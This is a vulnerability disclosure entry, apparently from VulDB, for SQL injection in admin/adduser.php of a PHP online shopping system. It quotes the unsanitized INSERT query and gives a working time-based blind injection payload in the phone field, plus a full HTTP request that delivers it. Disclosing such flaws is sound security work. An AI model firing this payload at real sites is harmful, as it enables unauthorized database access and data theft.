| 标题 | ONLINE SHOPPING SYSTEM admin/adduser.php SQL Injection Vulnerability v1 SQL Injection |
|---|
| 描述 | ONLINE SHOPPING SYSTEM admin/adduser.php SQL Injection Vulnerability
I. Vulnerability Impact
An attacker with admin access can exploit this vulnerability to inject malicious SQL through the user creation form, enabling data extraction from the database via error-based or time-based blind injection. Combined with session hijacking, this can lead to full database compromise.
II. Source Code Analysis
The vulnerability resides in admin/adduser.php, line 18:
mysqli_query($con,"insert into user_info(first_name, last_name,email,password,mobile,address1,address2)
values ('$first_name','$last_name','$email','$user_password','$mobile','$address1','$address2')")
or die ("Query 1 is inncorrect........");
All seven parameters (first_name, last_name, email, password, mobile, address1, address2) are taken directly from $_POST without any filtering and concatenated into the INSERT statement. The $mobile parameter (phone field) in particular is vulnerable to SQL injection via the same technique used in other endpoints.
III. Payload
The core injection payload targeting the phone parameter:
123123'and(select*from(select+sleep(10))a/**/union/**/select+1)='
After injection, the actual executed SQL becomes:
insert into user_info(...) values ('1','1','[email protected]','11','123123'and(select*from(select+sleep(10))a/**/union/**/select+1)='','1','1')
HTTP request:
POST /admin/adduser.php HTTP/1.1
Host: onlineshop
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHe9lEZ9i8GyyWBBh
Cookie: PHPSESSID=ol422um54c9e387qhla8o63ril
------WebKitFormBoundaryHe9lEZ9i8GyyWBBh
Content-Disposition: form-data; name="phone"
123123'and(select*from(select+sleep(10))a/**/union/**/select+1)='
------WebKitFormBoundaryHe9lEZ9i8GyyWBBh--
IV. Source Download
https://code-projects.org/online-shopping-system-in-php-with-source-code/ |
|---|
| 来源 | ⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul8.md |
|---|
| 用户 | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| 提交 | 2026-07-19 02時55分 (2 月前) |
|---|
| 管理 | 2026-09-04 14時34分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 398789 [code-projects Online Shopping System 1.0 admin/adduser.php mysqli_query mobile SQL注入] |
|---|
| 积分 | 20 |
|---|